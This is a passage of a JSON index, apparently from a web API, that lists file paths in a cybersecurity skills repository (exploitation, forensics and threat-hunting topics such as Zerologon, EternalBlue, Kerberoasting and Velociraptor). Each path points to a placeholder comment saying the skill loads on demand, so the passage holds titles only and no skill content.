/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fapi-reference.md -->","skills/executing-red-team-engagement-planning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fstandards.md -->","skills/executing-red-team-engagement-planning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fworkflows.md -->","skills/executing-red-team-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-exercise%2FSKILL.md -->","skills/executing-red-team-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-exercise%2Freferences%2Fapi-reference.md -->","skills/exploiting-active-directory-certificate-services-esc1/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2FSKILL.md -->","skills/exploiting-active-directory-certificate-services-esc1/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Fassets%2Ftemplate.md -->","skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fapi-reference.md -->","skills/exploiting-active-directory-certificate-services-esc1/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fstandards.md -->","skills/exploiting-active-directory-certificate-services-esc1/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fworkflows.md -->","skills/exploiting-active-directory-with-bloodhound/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2FSKILL.md -->","skills/exploiting-active-directory-with-bloodhound/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Fassets%2Ftemplate.md -->","skills/exploiting-active-directory-with-bloodhound/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fapi-reference.md -->","skills/exploiting-active-directory-with-bloodhound/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fstandards.md -->","skills/exploiting-active-directory-with-bloodhound/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fworkflows.md -->","skills/exploiting-adcs-with-certipy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2FSKILL.md -->","skills/exploiting-adcs-with-certipy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2Freferences%2Fapi-reference.md -->","skills/exploiting-adcs-with-certipy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2Freferences%2Fstandards.md -->","skills/exploiting-api-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-api-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-api-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-api-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-aws-with-pacu/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2FSKILL.md -->","skills/exploiting-aws-with-pacu/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2Freferences%2Fapi-reference.md -->","skills/exploiting-aws-with-pacu/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2Freferences%2Fstandards.md -->","skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-bgp-hijacking-vulnerabilities%2FSKILL.md -->","skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-bgp-hijacking-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-broken-function-level-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-function-level-authorization%2FSKILL.md -->","skills/exploiting-broken-function-level-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-function-level-authorization%2Freferences%2Fapi-reference.md -->","skills/exploiting-broken-link-hijacking/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-link-hijacking%2FSKILL.md -->","skills/exploiting-broken-link-hijacking/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-link-hijacking%2Freferences%2Fapi-reference.md -->","skills/exploiting-constrained-delegation-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2FSKILL.md -->","skills/exploiting-constrained-delegation-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fapi-reference.md -->","skills/exploiting-constrained-delegation-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fstandards.md -->","skills/exploiting-constrained-delegation-abuse/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fworkflows.md -->","skills/exploiting-deeplink-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2FSKILL.md -->","skills/exploiting-deeplink-vulnerabilities/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Fassets%2Ftemplate.md -->","skills/exploiting-deeplink-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-deeplink-vulnerabilities/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fstandards.md -->","skills/exploiting-deeplink-vulnerabilities/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fworkflows.md -->","skills/exploiting-excessive-data-exposure-in-api/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-excessive-data-exposure-in-api%2FSKILL.md -->","skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-excessive-data-exposure-in-api%2Freferences%2Fapi-reference.md -->","skills/exploiting-http-request-smuggling/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-http-request-smuggling%2FSKILL.md -->","skills/exploiting-http-request-smuggling/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-http-request-smuggling%2Freferences%2Fapi-reference.md -->","skills/exploiting-idor-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-idor-vulnerabilities%2FSKILL.md -->","skills/exploiting-idor-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-idor-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-insecure-data-storage-in-mobile/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2FSKILL.md -->","skills/exploiting-insecure-data-storage-in-mobile/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Fassets%2Ftemplate.md -->","skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fapi-reference.md -->","skills/exploiting-insecure-data-storage-in-mobile/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fstandards.md -->","skills/exploiting-insecure-data-storage-in-mobile/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fworkflows.md -->","skills/exploiting-insecure-deserialization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-deserialization%2FSKILL.md -->","skills/exploiting-insecure-deserialization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-deserialization%2Freferences%2Fapi-reference.md -->","skills/exploiting-ipv6-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ipv6-vulnerabilities%2FSKILL.md -->","skills/exploiting-ipv6-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ipv6-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-jwt-algorithm-confusion-attack%2FSKILL.md -->","skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-jwt-algorithm-confusion-attack%2Freferences%2Fapi-reference.md -->","skills/exploiting-kerberoasting-with-impacket/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2FSKILL.md -->","skills/exploiting-kerberoasting-with-impacket/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Fassets%2Ftemplate.md -->","skills/exploiting-kerberoasting-with-impacket/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fapi-reference.md -->","skills/exploiting-kerberoasting-with-impacket/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fstandards.md -->","skills/exploiting-kerberoasting-with-impacket/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-kerberoasting-with-impacket%2Freferences%2Fworkflows.md -->","skills/exploiting-mass-assignment-in-rest-apis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-mass-assignment-in-rest-apis%2FSKILL.md -->","skills/exploiting-mass-assignment-in-rest-apis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-mass-assignment-in-rest-apis%2Freferences%2Fapi-reference.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2FSKILL.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Fassets%2Ftemplate.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fapi-reference.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fstandards.md -->","skills/exploiting-ms17-010-eternalblue-vulnerability/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ms17-010-eternalblue-vulnerability%2Freferences%2Fworkflows.md -->","skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2FSKILL.md -->","skills/exploiting-nopac-cve-2021-42278-42287/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Fassets%2Ftemplate.md -->","skills/exploiting-nopac-cve-2021-42278-42287/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fapi-reference.md -->","skills/exploiting-nopac-cve-2021-42278-42287/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fstandards.md -->","skills/exploiting-nopac-cve-2021-42278-42287/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nopac-cve-2021-42278-42287%2Freferences%2Fworkflows.md -->","skills/exploiting-nosql-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-nosql-injection-vulnerabilities/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Fassets%2Ftemplate.md -->","skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-nosql-injection-vulnerabilities/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fstandards.md -->","skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-nosql-injection-vulnerabilities%2Freferences%2Fworkflows.md -->","skills/exploiting-oauth-misconfiguration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-oauth-misconfiguration%2FSKILL.md -->","skills/exploiting-oauth-misconfiguration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-oauth-misconfiguration%2Freferences%2Fapi-reference.md -->","skills/exploiting-prototype-pollution-in-javascript/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-prototype-pollution-in-javascript%2FSKILL.md -->","skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-prototype-pollution-in-javascript%2Freferences%2Fapi-reference.md -->","skills/exploiting-race-condition-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-race-condition-vulnerabilities%2FSKILL.md -->","skills/exploiting-race-condition-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-race-condition-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-server-side-request-forgery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-server-side-request-forgery%2FSKILL.md -->","skills/exploiting-server-side-request-forgery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-server-side-request-forgery%2Freferences%2Fapi-reference.md -->","skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-smb-vulnerabilities-with-metasploit%2FSKILL.md -->","skills/exploiting-smb-vulnerabilities-with-metasploit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-smb-vulnerabilities-with-metasploit%2Freferences%2Fapi-reference.md -->","skills/exploiting-sql-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-sql-injection-with-sqlmap/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-with-sqlmap%2FSKILL.md -->","skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-sql-injection-with-sqlmap%2Freferences%2Fapi-reference.md -->","skills/exploiting-template-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-template-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-template-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-template-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-type-juggling-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-type-juggling-vulnerabilities%2FSKILL.md -->","skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-type-juggling-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2FSKILL.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Fassets%2Ftemplate.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fapi-reference.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fstandards.md -->","skills/exploiting-vulnerabilities-with-metasploit-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-vulnerabilities-with-metasploit-framework%2Freferences%2Fworkflows.md -->","skills/exploiting-websocket-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-websocket-vulnerabilities%2FSKILL.md -->","skills/exploiting-websocket-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-websocket-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2FSKILL.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Fassets%2Ftemplate.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fapi-reference.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fstandards.md -->","skills/exploiting-zerologon-vulnerability-cve-2020-1472/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-zerologon-vulnerability-cve-2020-1472%2Freferences%2Fworkflows.md -->","skills/extracting-browser-history-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-browser-history-artifacts%2FSKILL.md -->","skills/extracting-browser-history-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-browser-history-artifacts%2Freferences%2Fapi-reference.md -->","skills/extracting-config-from-agent-tesla-rat/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2FSKILL.md -->","skills/extracting-config-from-agent-tesla-rat/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Fassets%2Ftemplate.md -->","skills/extracting-config-from-agent-tesla-rat/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fapi-reference.md -->","skills/extracting-config-from-agent-tesla-rat/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fstandards.md -->","skills/extracting-config-from-agent-tesla-rat/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-config-from-agent-tesla-rat%2Freferences%2Fworkflows.md -->","skills/extracting-credentials-from-memory-dump/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-credentials-from-memory-dump%2FSKILL.md -->","skills/extracting-credentials-from-memory-dump/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-credentials-from-memory-dump%2Freferences%2Fapi-reference.md -->","skills/extracting-iocs-from-malware-samples/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-iocs-from-malware-samples%2FSKILL.md -->","skills/extracting-iocs-from-malware-samples/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-iocs-from-malware-samples%2Freferences%2Fapi-reference.md -->","skills/extracting-memory-artifacts-with-rekall/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-memory-artifacts-with-rekall%2FSKILL.md -->","skills/extracting-memory-artifacts-with-rekall/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-memory-artifacts-with-rekall%2Freferences%2Fapi-reference.md -->","skills/extracting-windows-event-logs-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-windows-event-logs-artifacts%2FSKILL.md -->","skills/extracting-windows-event-logs-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fextracting-windows-event-logs-artifacts%2Freferences%2Fapi-reference.md -->","skills/fleet-hunting-with-velociraptor/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2FSKILL.md -->","skills/fleet-hunting-with-velociraptor/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2Freferences%2Fapi-reference.md -->","skills/fleet-hunting-with-velociraptor/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ffleet-hunting-with-velociraptor%2Freferences%2Fstandards.md -->","skills/generating-and-analyzing-sboms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2FSKILL.md -->","skills/generating-and-analyzing-sboms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2Freferences%2Fapi-reference.md -->","skills/generating-and-analyzing-sboms/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-and-analyzing-sboms%2Freferences%2Fstandards.md -->","skills/generating-forensic-timelines-with-hayabusa/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2FSKILL.md -->","skills/generating-forensic-timelines-with-hayabusa/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2Freferences%2Fapi-reference.md -->","skills/generating-forensic-timelines-with-hayabusa/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fgenerating-forensic-timelines-with-hayabusa%2Freferences%2Fstandards.md -->","skills/generating-threat-intelligence-reports/SKILL.md":"<!-- Skill available on-demand via 